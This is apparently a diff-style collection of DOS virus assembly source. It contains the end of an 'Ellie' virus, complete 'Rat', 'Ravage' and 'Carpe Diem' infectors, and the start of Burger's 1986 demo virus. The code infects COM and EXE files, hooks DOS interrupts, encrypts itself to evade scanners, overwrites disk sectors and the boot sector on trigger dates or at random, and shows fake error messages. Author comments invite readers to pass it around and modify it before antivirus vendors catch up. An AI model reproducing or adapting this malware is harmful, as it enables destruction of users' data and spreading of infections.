int 21h
|
||||
mov handle,ax ; Save the file handle
|
||||
mov bx,ax ; Move the handle to BX for read
|
||||
mov cx,20 ; Read in the top 20 bytes of file
|
||||
mov dx,offset compare_buf ; Use the small buffer up top
|
||||
mov ah,3fh ; DOS read-from-handle service
|
||||
int 21h
|
||||
mov bx,offset compare_buf ; Adjust the encryption value
|
||||
mov ah,encrypt_val ; for accurate comparison
|
||||
mov [bx+6],ah
|
||||
mov si,code_start ; One array to compare is this file
|
||||
mov di,offset compare_buf ; The other array is the buffer
|
||||
mov ax,ds ; Transfer the DS register...
|
||||
mov es,ax ; ...to the ES register
|
||||
cld
|
||||
repe cmpsb ; Compare the buffer to the virus
|
||||
jne healthy ; If different, the file is healthy
|
||||
call close_file ; Close it up otherwise
|
||||
inc files_found ; Chalk up another fucked up file
|
||||
continue_search:
|
||||
mov ah,4fh ; Find next DOS function
|
||||
int 21h ; Try to find another file
|
||||
cmp ax,12h ; Are there any more files?
|
||||
je no_more_found ; If not, get outta here
|
||||
jmp find_healthy ; Try the process on this one
|
||||
no_more_found:
|
||||
ret ; Go back to where we came from
|
||||
healthy:
|
||||
mov bx,handle ; Get the file handle
|
||||
mov ah,3eh ; Close it for now
|
||||
int 21h
|
||||
mov ah,3dh ; Open it again, to reset it
|
||||
mov dx,dta+filename
|
||||
mov al,2
|
||||
int 21h
|
||||
mov handle,ax ; Save the handle again
|
||||
call infect_file ; Infect the healthy file
|
||||
call close_file ; Close down this operation
|
||||
inc success ; Indicate we did something this time
|
||||
dec files_infected ; Scratch off another file on agenda
|
||||
jz exit_virus ; If we're through, terminate
|
||||
jmp continue_search ; Otherwise, try another
|
||||
ret
|
||||
close_file:
|
||||
mov bx,handle ; Get the file handle off the stack
|
||||
mov cx,orig_time ; Get the date stamp
|
||||
mov dx,orig_date ; Get the time stamp
|
||||
mov al,1 ; Set file date/time sub-service
|
||||
mov ah,57h ; Get/Set file date and time service
|
||||
int 21h ; Call DOS
|
||||
mov bx,handle
|
||||
mov ah,3eh ; Close handle DOS service
|
||||
int 21h
|
||||
mov cx,orig_attr ; Get the file's original attribute
|
||||
mov al,1 ; Instruct DOS to put it back there
|
||||
mov dx,dta+filename ; Feed it the filename
|
||||
mov ah,43h ; Call DOS
|
||||
int 21h
|
||||
ret ; Returning to base...
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-Ä--ÄÄÄÄÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; ELLIE:
|
||||
; mov ah,09h ; Read under
|
||||
; mov dx,offset virus_msg1 ; for more
|
||||
; int 21h ; information
|
||||
;
|
||||
; Okey..If it's 10:th (any month), the virus will do something with
|
||||
; your hard-drives (..ellie..) which I finds to be real nasty ! If
|
||||
; you wanna check if the function day-check works, just un-mark
|
||||
; the tree lines under the first "ellie". and the virus_msg1
|
||||
; "Betrayal is a sin, if it comes from another" will be displayed.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Here is the real "Ellie"..Yeah..that's certainly her!
|
||||
; ÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
ELLIE: ; Here comes the bitch..
|
||||
cli ; Tigh her up!
|
||||
mov ah,2 ; starting with drive C
|
||||
cwd ; starting at sector 0
|
||||
mov cx,0100h ; write 256 sectors
|
||||
int 026h ; to protect and serve..
|
||||
jmp maria ; Next victim is Maria..
|
||||
|
||||
MARIA: ;Yet another..
|
||||
MOV AL,3 ;Set to fry drive D
|
||||
MOV CX,700 ;Set to write 700 sectors
|
||||
MOV DX,00 ;Starting at sector 0
|
||||
MOV DS,[DI+99] ;Put random crap in DS
|
||||
MOV BX,[DI+55] ;More crap in BX
|
||||
CALL ELLIE ;Jump for joy!...
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; If you want Ellie to go off on some special month, just look at procedure
|
||||
; "Infect_file", and the call to daycheck. Change the call to Monthcheck,
|
||||
; and "delete" the ";" on procedure monthcheck. But remember, that makes,
|
||||
; the virus much less destructive, and by that time, all scanners has
|
||||
; probably added a new scan-string on this one. Now it will go off the
|
||||
; 10:th every month. Feel free to modify this as much you want to.
|
||||
|
||||
; MONTHCHECK: ; Procudure to check
|
||||
; mov ah,2ah ; what month it is..
|
||||
; int 21h ; Dos to your service..
|
||||
; cmp dh,06 ; comp dh,06 (July, month 06)
|
||||
; je daycheck ; if month 06, jump to daycheck,
|
||||
; JMP something ; if not, just jump to something..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
Daycheck: ; check what day it is..
|
||||
mov ah,2ah ;
|
||||
int 21h ; Dos to your service..
|
||||
cmp dl,10 ; If it is the 10:th,
|
||||
je ellie ; if yes, have a great fuck..
|
||||
JMP something ; if not..just can tell you how sorry I'm !
|
||||
|
||||
Something: ; Some stupid procedure..but remember..
|
||||
ret ; Arbeit Macht Frei !
|
||||
|
||||
exit_virus:
|
||||
cmp files_found,15 ; Are at least 15 files infected?
|
||||
jl print_fake ; If not, keep a low profile
|
||||
cmp success,0 ; Did we infect anything?
|
||||
jg print_fake ; If so, cover it up
|
||||
mov ah,09h ; Use DOS print string service
|
||||
mov dx,offset virus_msg1 ; Load address of the first line
|
||||
int 21h ; Print it..
|
||||
; mov dx,offset virus_msg2 ; ---
|
||||
; int 21h ; Okey..mess(ages) 2-5 have been
|
||||
; mov dx,offset virus_msg3 ; removed from the code..too bad,
|
||||
; int 21h ; they were Metallica messages...
|
||||
; mov dx,offset virus_msg4 ; ---
|
||||
; int 21h ; Anyway, (ab)use this program, B4
|
||||
; mov dx,offset virus_msg5 ; Mcafee gets a new string for this
|
||||
; int 21h ; ---
|
||||
jmp terminate ; Jump to terminate..
|
||||
|
||||
print_fake:
|
||||
mov ah,09h ; Print fake error message
|
||||
mov dx,offset fake_msg ; Print "fake_msg"
|
||||
int 21h ; Dos to your service..
|
||||
terminate: ; Get ready for quit this program
|
||||
mov ah,4ch ; DOS terminate process function
|
||||
int 21h ; Exit..
|
||||
|
||||
filler db 8 dup (90h) ; Pad out to 666 bytes
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
||||
|
||||
; Greeting goes out to : Raver, Metal Militia, Scavenver,
|
||||
; and of-cuz to Miss Perfect...ELLIE!
|
|
@ -0,0 +1,127 @@
|
|||
|
||||
PAGE 59,132
|
||||
;*************************************
|
||||
;**The Rat Virus - Overwriting **
|
||||
;** Non-Resident **
|
||||
;** Com File Infector**
|
||||
;** Author: -Ajax- **
|
||||
;** This virus is 92 bytes long **
|
||||
;** Because it is made in 1992 :) **
|
||||
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
|
||||
;** Pass this unscannable around to **
|
||||
;** Your friends,and tell em McAfee **
|
||||
;** sent ya! **
|
||||
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
|
||||
;** Underground Asylum-904/688.6494 **
|
||||
;**"Replication Is Our Middle Name!"**
|
||||
;*************************************
|
||||
|
||||
retf macro ret_count ; Fixup for Assembler
|
||||
ifdef ret_count
|
||||
db 0CAh
|
||||
dw ret_count
|
||||
elseif
|
||||
db 0CBh
|
||||
endif
|
||||
endm
|
||||
|
||||
retn macro ret_count
|
||||
ifdef ret_count
|
||||
db 0C2h
|
||||
dw ret_count
|
||||
elseif
|
||||
db 0C3h
|
||||
endif
|
||||
endm
|
||||
|
||||
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
|
||||
ifidn <reg16>, <bx>
|
||||
db 0BBh
|
||||
endif
|
||||
ifidn <reg16>, <cx>
|
||||
db 0B9h
|
||||
endif
|
||||
ifidn <reg16>, <dx>
|
||||
db 0BAh
|
||||
endif
|
||||
ifidn <reg16>, <si>
|
||||
db 0BEh
|
||||
endif
|
||||
ifidn <reg16>, <di>
|
||||
db 0BFh
|
||||
endif
|
||||
ifidn <reg16>, <bp>
|
||||
db 0BDh
|
||||
endif
|
||||
ifidn <reg16>, <sp>
|
||||
db 0BCh
|
||||
endif
|
||||
ifidn <reg16>, <BX>
|
||||
db 0BBH
|
||||
endif
|
||||
ifidn <reg16>, <CX>
|
||||
db 0B9H
|
||||
endif
|
||||
ifidn <reg16>, <DX>
|
||||
db 0BAH
|
||||
endif
|
||||
ifidn <reg16>, <SI>
|
||||
db 0BEH
|
||||
endif
|
||||
ifidn <reg16>, <DI>
|
||||
db 0BFH
|
||||
endif
|
||||
ifidn <reg16>, <BP>
|
||||
db 0BDH
|
||||
endif
|
||||
ifidn <reg16>, <SP>
|
||||
db 0BCH
|
||||
endif
|
||||
dw seg Imm16
|
||||
endm
|
||||
location_file equ 9Eh ; location of file in DTA
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h ; Starting of all .COM files
|
||||
|
||||
rat_virus proc far
|
||||
|
||||
start:
|
||||
mov ah,4Eh ; fixup for making undetectable
|
||||
mov cl,20h ;
|
||||
mov dx,offset all_com_files ;
|
||||
int 21h ;
|
||||
;
|
||||
start_infecting:
|
||||
mov ax,3D01h ;
|
||||
mov dx,Location_file ;
|
||||
int 21h ; Open target file.
|
||||
|
||||
mov bx,ax
|
||||
mov dx,offset ds:[100h] ; Location of file to write.
|
||||
mov cl,5ch ; File size to overwrite.
|
||||
mov ah,40h ;
|
||||
int 21h ; Write to filename in dx
|
||||
;
|
||||
mov ah,3Eh ;
|
||||
int 21h ;
|
||||
;
|
||||
mov ah,4Fh ;
|
||||
int 21h ;
|
||||
;
|
||||
jnc start_infecting ; If more files,keep goin
|
||||
mov ah,09h ;
|
||||
mov dx,offset bbs_ad ; display my bbsad!
|
||||
int 21h
|
||||
int 20h ; get to dos.
|
||||
all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files
|
||||
; in current dir..
|
||||
bbs_ad db 'Underground Asylum BBS - [904]688.6494$'
|
||||
rat_virus endp
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,254 @@
|
|||
; Virusname: Ravage
|
||||
; Origin: Sweden
|
||||
; Author: Metal Militia
|
||||
|
||||
; This virus can be found with any anti-virus program, since it's been
|
||||
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON, that is..)
|
||||
|
||||
; It's a resident .COM and .EXE infector, without any encryption or
|
||||
; stealth capabilities. It infects when you execute (4bh), opens (3dh),
|
||||
; extended open (6ch), and on closing (3eh). This makes it quite a good
|
||||
; infector, but since it doesn't care what files it infects, most of the
|
||||
; AV programs will find themselves makes it quite a good infector, but
|
||||
; any program with selfchecking (95%) will find themself hit.
|
||||
|
||||
; I stopped with this virus since it's so totally buggy that you'll find
|
||||
; it almost at once. This is the reason why i give you the source code.
|
||||
; In my later resident things, there will be such things as encryption,
|
||||
; stealth etc. i think..
|
||||
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.radix 16
|
||||
.code
|
||||
EXE_ID = -42
|
||||
viruslength = heap - _small
|
||||
startload = 90 * 4
|
||||
|
||||
_small:
|
||||
call relative
|
||||
oldheader dw 020cdh
|
||||
dw 0bh dup (0)
|
||||
relative:
|
||||
pop bp
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov di,startload
|
||||
cmp word ptr ds:[di+25],di
|
||||
jz exit_small
|
||||
|
||||
lea si,[bp-3]
|
||||
mov cx,viruslength
|
||||
db 2Eh
|
||||
rep movsb
|
||||
|
||||
mov di,offset old21 + startload
|
||||
mov si,21*4
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop di
|
||||
mov ax,offset int21 + startload
|
||||
stosw
|
||||
xchg ax,cx
|
||||
stosw
|
||||
|
||||
exit_small:
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
or sp,sp
|
||||
jnp returnCOM
|
||||
returnEXE:
|
||||
mov ax,ds
|
||||
add ax,10
|
||||
add [bp+16],ax
|
||||
add ax,[bp+0e]
|
||||
mov ss,ax
|
||||
mov sp,cs:[bp+10]
|
||||
jmp dword ptr cs:[bp+14]
|
||||
returnCOM:
|
||||
mov di,100
|
||||
push di
|
||||
mov si,bp
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
|
||||
infect:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,4300h
|
||||
int 21h
|
||||
jnc test_it
|
||||
jmp exitinfect
|
||||
|
||||
test_it:
|
||||
test cl,1
|
||||
je ok_2_open
|
||||
and cl,0feh
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
jnc ok_2_open
|
||||
jmp exitinfect
|
||||
|
||||
ok_2_open:
|
||||
mov ax,3d02
|
||||
int 21
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov si,offset oldheader+startload
|
||||
|
||||
mov ah,3f
|
||||
mov cx,18
|
||||
push cx
|
||||
mov dx,si
|
||||
int 21
|
||||
|
||||
cmp ax,cx
|
||||
jnz go_already_infected
|
||||
|
||||
mov di,offset target + startload
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
|
||||
mov ax,4202
|
||||
cwd
|
||||
int 21
|
||||
|
||||
cmp ds:[di],'ZM'
|
||||
jz infectEXE
|
||||
cmp ds:[di],'MZ'
|
||||
jz infectEXE
|
||||
|
||||
sub ax,3
|
||||
mov byte ptr ds:[di],0e9
|
||||
mov ds:[di+1],ax
|
||||
|
||||
sub ax,viruslength
|
||||
cmp ds:[si-17],ax
|
||||
jnz finishinfect
|
||||
go_already_infected:
|
||||
pop cx
|
||||
jmp short already_infected
|
||||
|
||||
int21:
|
||||
cmp ax,4b00
|
||||
jz infect
|
||||
cmp ax,3d00
|
||||
jz infect
|
||||
cmp ax,3e00
|
||||
jz some_open
|
||||
cmp ax,6c00
|
||||
jnz not_opening
|
||||
some_open:
|
||||
mov ah,45
|
||||
int 21
|
||||
jmp infect
|
||||
|
||||
not_opening:
|
||||
jmp chain
|
||||
|
||||
infectEXE:
|
||||
cmp word ptr [di+10],EXE_ID
|
||||
jz go_already_infected
|
||||
|
||||
push ax
|
||||
push dx
|
||||
|
||||
add ax,viruslength
|
||||
adc dx,0
|
||||
|
||||
mov cx,200
|
||||
div cx
|
||||
|
||||
or dx,dx
|
||||
jz nohiccup
|
||||
inc ax
|
||||
nohiccup:
|
||||
mov word ptr ds:[di+4],ax
|
||||
mov word ptr ds:[di+2],dx
|
||||
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
mov cx,10
|
||||
div cx
|
||||
|
||||
sub ax,ds:[di+8]
|
||||
|
||||
mov word ptr ds:[di+14],dx
|
||||
mov word ptr ds:[di+16],ax
|
||||
|
||||
mov word ptr ds:[di+0e],ax
|
||||
mov word ptr ds:[di+10],EXE_ID
|
||||
finishinfect:
|
||||
mov cx,viruslength
|
||||
mov ah,40
|
||||
mov dx,startload
|
||||
int 21
|
||||
|
||||
mov ax,4200
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov dx,di
|
||||
pop cx
|
||||
int 21
|
||||
already_infected:
|
||||
pop dx
|
||||
pop cx
|
||||
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
jmp exitinfect
|
||||
|
||||
db 'RAVAGE! '
|
||||
db '(c) Metal Militia / Immortal Riot'
|
||||
|
||||
exitinfect:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
chain:
|
||||
db 0ea
|
||||
heap:
|
||||
old21 dw ?, ?
|
||||
target dw 0ch dup (?)
|
||||
|
||||
endheap:
|
||||
end _small
|
|
@ -0,0 +1,292 @@
|
|||
; VirusName : CARPE DIEM! - Seize the day
|
||||
; Origin : Sweden
|
||||
; Author : Raver
|
||||
; Date : 16/11/93
|
||||
|
||||
; Well this is my (Raver's) first scratch virus.
|
||||
; This virus is mainly made for educational purpose (my own!).
|
||||
; It's pretty well commented in an easy way so even you folks
|
||||
; with little experience with assembler should be able to follow
|
||||
; the code!
|
||||
|
||||
; It's a pretty simple non-overwriting .com-infector with a harmless
|
||||
; nuking routine. It clears and restores the file attributes and
|
||||
; date/time stamp and finds and infects files using the dot-dot method.
|
||||
; An encryption routine and some "unusual" instructions are included to
|
||||
; avoid detection by the common virus scanners. At release date, see
|
||||
; above, neither F-prot nor Tb-scan found traces of virus code!
|
||||
|
||||
; There is about a 5 percent chance that the nuking routine will be
|
||||
; activated, it checks the system time for 1/100 of a second. If it's
|
||||
; activated it'll overwrite the first sector on the fixed disk (c:)
|
||||
; which contains the boot sector. This might seem cruel but, infact,
|
||||
; it's quite harmless 'cause norton utilities and other programs
|
||||
; easily restore the boot sector. It's there just to make inexperienced
|
||||
; users (lamers!) nervous!
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; CARPE DIEM! - Seize the day
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
cseg segment byte public 'code'
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
start_of_virus: ;entry point
|
||||
call get_off ;this somewhat unusual code won't
|
||||
get_off: ;produce a flexible entry point flag
|
||||
mov si,sp ;get the delta offset
|
||||
mov bp,word ptr ss:[si] ;offset is on top of stack
|
||||
sub bp,offset get_off ;put it in bp
|
||||
inc sp ;restore sp to it's original
|
||||
inc sp
|
||||
|
||||
; call encrypt_decrypt ;decrypt the contents of the program
|
||||
mov ax,bp ;use alternative code - otherwise
|
||||
add ax,116h ;f-prot will recognize it as Radyum!!!!
|
||||
push ax
|
||||
jmp encrypt_decrypt
|
||||
jmp encrypted_code_start ;jmp to the (en/de)crypted virus area
|
||||
|
||||
|
||||
encryption_value dw 0 ;random value for encryption routine
|
||||
|
||||
|
||||
write_virus_to_file: ;proc to append virus code to file
|
||||
|
||||
call encrypt_decrypt ;encrypt the virus before write
|
||||
|
||||
mov cx,offset end_of_virus-100h ;length of virus to be written
|
||||
lea dx,[bp] ;write from start
|
||||
mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of
|
||||
inc ah ;file length in DTA. Is
|
||||
add dx,ax ;always 0 in .com-files.
|
||||
mov ah,40h ;Use this trick to fool
|
||||
int 21h ;heuristic searches.
|
||||
;dx = delta offset+100h
|
||||
call encrypt_decrypt ;decrypt the code for
|
||||
ret ;further processing.
|
||||
|
||||
|
||||
encrypt_decrypt: ;proc to (en/de)crypt the code
|
||||
mov dx,word ptr [bp+encryption_value] ;use random number for every
|
||||
lea si,[bp+encrypted_code_start] ;new infection
|
||||
mov cx,(end_of_virus-encrypted_code_start+1)/2
|
||||
|
||||
crypt_loop: ;xor the whole virus code
|
||||
xor word ptr [si],dx ;between encrypted_code_start
|
||||
add si,2 ;and end_of_virus
|
||||
loop crypt_loop
|
||||
|
||||
ret
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Here the part that will be encrypted starts, i.e. all code
|
||||
; except the encryption routine and the routine to append virus
|
||||
; to file.
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
encrypted_code_start:
|
||||
|
||||
cld
|
||||
|
||||
mov ah,1ah ;Set DTA Transfer area to after
|
||||
lea dx,[bp+end_of_virus] ;after the end of file to save file
|
||||
int 21h ;size. Note: do not use default 80h
|
||||
;as DTA area since the parameters to
|
||||
;the "real" program will be overwritten!
|
||||
|
||||
lea si,[bp+orgbuf] ;Transfer buffer contents
|
||||
lea di,[bp+orgbuf2] ;to be restored to the beginning
|
||||
mov cx,2 ;for restart of the "real" program
|
||||
rep movsw
|
||||
|
||||
mov di,2 ;Infection counter, 2 files every run
|
||||
|
||||
mov ah,19h ;get current drive
|
||||
int 21h
|
||||
cmp al,2 ;check if a: or b:
|
||||
jae get_cur_dir ;if so, skip infection. Otherwise
|
||||
jmp no_more_files ;the user will most likely get
|
||||
;quite suspicious
|
||||
get_cur_dir:
|
||||
mov ah,47h ;get starting directory
|
||||
xor dl,dl ;it will be changed by the
|
||||
lea si,[bp+end_of_virus+2ch] ;dot-dot method later on
|
||||
int 21h
|
||||
|
||||
find_first: ;start finding the first .com file
|
||||
mov cx,7 ;in every new dir
|
||||
lea dx,[bp+filespec]
|
||||
mov ah,4eh
|
||||
int 21h
|
||||
jnc clear_attribs ;successive?
|
||||
|
||||
call ch_dir ;no more files in dir. change dir
|
||||
jmp find_first ;start over again
|
||||
;otherwise jmp
|
||||
|
||||
find_next: ;this is the upper point of the find
|
||||
mov ah,4fh ;files loop in a dir
|
||||
int 21h
|
||||
jnc clear_attribs
|
||||
|
||||
call ch_dir ;no more files in dir. change dir
|
||||
jmp find_first ;start over again
|
||||
|
||||
clear_attribs: ;set the file attribute to 0
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[bp+end_of_virus+1eh]
|
||||
int 21h
|
||||
|
||||
open_file: ;open file to be infected
|
||||
mov ax,3d02h
|
||||
; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs
|
||||
int 21h
|
||||
|
||||
xchg ax,bx ;Put file handle in bx
|
||||
|
||||
read_file: ;read first four bytes of file
|
||||
mov ah,3fh ;They will be restore to the start
|
||||
mov cx,4 ;after the virus is finnished
|
||||
lea dx,[bp+orgbuf] ;so the program can execute
|
||||
int 21h
|
||||
|
||||
check_already_infected: ;check the first to bytes and check
|
||||
mov si,dx ;if the file is already infected
|
||||
lea si,[bp+orgbuf]
|
||||
cmp word ptr [si],0e990h
|
||||
je already_infected ;if so, jmp
|
||||
|
||||
cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com
|
||||
jz already_infected ;if so, don't infect
|
||||
|
||||
mov ax,word ptr [bp+end_of_virus+1ah] ;check file size
|
||||
cmp ax,500 ;and skip short and
|
||||
jb already_infected ;long files
|
||||
cmp ax,64000
|
||||
ja already_infected
|
||||
|
||||
|
||||
mov ax,4202h ;get lenght of initial jmp in ax
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
sub ax,4 ;subtract the first four bytes, which
|
||||
;will be overwritten
|
||||
|
||||
mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop
|
||||
mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning
|
||||
;notice the reversed order!
|
||||
|
||||
mov ax,4200h ;move to beginning of file
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write the new instructions
|
||||
mov cx,4
|
||||
lea dx,[bp+startbuf]
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ;move to end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ;get a random number from
|
||||
int 21h ;system clock for the
|
||||
mov word ptr [bp+encryption_value],dx ;encryption routine
|
||||
call write_virus_to_file ;append the virus code
|
||||
jmp restore_time_date
|
||||
|
||||
already_infected: ;if already encrypted increase
|
||||
inc di ;infection counter with one
|
||||
|
||||
restore_time_date: ;restore file time & date
|
||||
lea si,[bp+end_of_virus+16h]
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
close_file: ;close the file handle
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
set_old_attrib: ;restore the old file attrib
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
mov cl,byte ptr [bp+end_of_virus+15h]
|
||||
lea dx,[bp+end_of_virus+1eh]
|
||||
int 21h
|
||||
|
||||
dec di ;decrease infection counter
|
||||
cmp di,0 ;and check if infection is
|
||||
jbe no_more_files ;completed
|
||||
jmp find_next
|
||||
|
||||
no_more_files:
|
||||
|
||||
mov ah,2ch ;get a new random number
|
||||
int 21h ;5% chance of nuke
|
||||
cmp dl,5
|
||||
ja restore_start ;above 5 no nuke
|
||||
|
||||
mov ax,0301h ;trash the bootsector of c:
|
||||
mov cx,0001h ;This might seem cruel but
|
||||
mov dx,0080h ;norton and other programs
|
||||
lea bx,[bp+start_of_virus] ;easily fix it. It's just
|
||||
int 13h ;to make the user nervous!!
|
||||
|
||||
mov ah,09h ;deliver a message too
|
||||
lea dx,[bp+signature]
|
||||
int 21h
|
||||
|
||||
|
||||
restore_start: ;copy the four saved bytes to
|
||||
lea si,[bp+orgbuf2] ;beginning of file in memory
|
||||
mov di,100h
|
||||
movsw
|
||||
movsw
|
||||
|
||||
|
||||
restore_dir: ;change back to original
|
||||
lea dx,[bp+end_of_virus+2ch] ;dir
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
|
||||
exit_proc: ;return to start of program
|
||||
mov bx,100h ;This will be enrypted in
|
||||
push bx ;infected files, so anti-vir
|
||||
;progs won't complain.
|
||||
xor ax,ax ;for org virus to push on
|
||||
retn ;the stack for ret
|
||||
|
||||
|
||||
ch_dir:
|
||||
lea dx,[bp+dot_dot] ;use dot-dot method
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
jnc no_err ;sub dir existed
|
||||
pop ax ;otherwise all files are checked. exit!
|
||||
jmp no_more_files ;pop the ip pointer from the stack
|
||||
no_err: ;and jump to the end part
|
||||
ret
|
||||
|
||||
signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$'
|
||||
country db " Sweden 16/11/93"
|
||||
filespec db '*.com',0
|
||||
dot_dot db '..',0
|
||||
orgbuf db 90h,90h,50h,0c3h ;instructions to exit the
|
||||
orgbuf2 db 4 dup(0) ;scratch after infection
|
||||
startbuf db 4 dup(0) ;nop,nop,push ax,ret
|
||||
end_of_virus:
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; The virus code ends here but the point below here (the heap)
|
||||
; is used to store temporary variables such as the dta-area and
|
||||
; the starting directory
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
cseg ends
|
||||
end start_of_virus
|
|
@ -0,0 +1,461 @@
|
|||
page 70,120
|
||||
Name VIRUS
|
||||
;*************************************************************************
|
||||
|
||||
; Program Virus Ver.: 1.1
|
||||
; Copyright by R. Burger 1986
|
||||
; This is a demonstration program for computer
|
||||
; viruses. It has the ability to replicate itself,
|
||||
; and thereby modify other programs
|
||||
;*************************************************************************
|
||||
|
||||
|
||||
|
||||
Code Segment
|
||||
Assume CS:Code
|
||||
progr equ 100h
|
||||
ORG progr
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; The three NOP's serve as the marker byte of the
|
||||
; virus which will allow it to identify a virus
|
||||
;*************************************************************************
|
||||
|
||||
MAIN:
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Initialize the pointers
|
||||
;*************************************************************************
|
||||
|
||||
mov ax,00
|
||||
mov es:[pointer],ax
|
||||
mov es:[counter],ax
|
||||
mov es:[disks],al
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get the selected drive
|
||||
;*************************************************************************
|
||||
|
||||
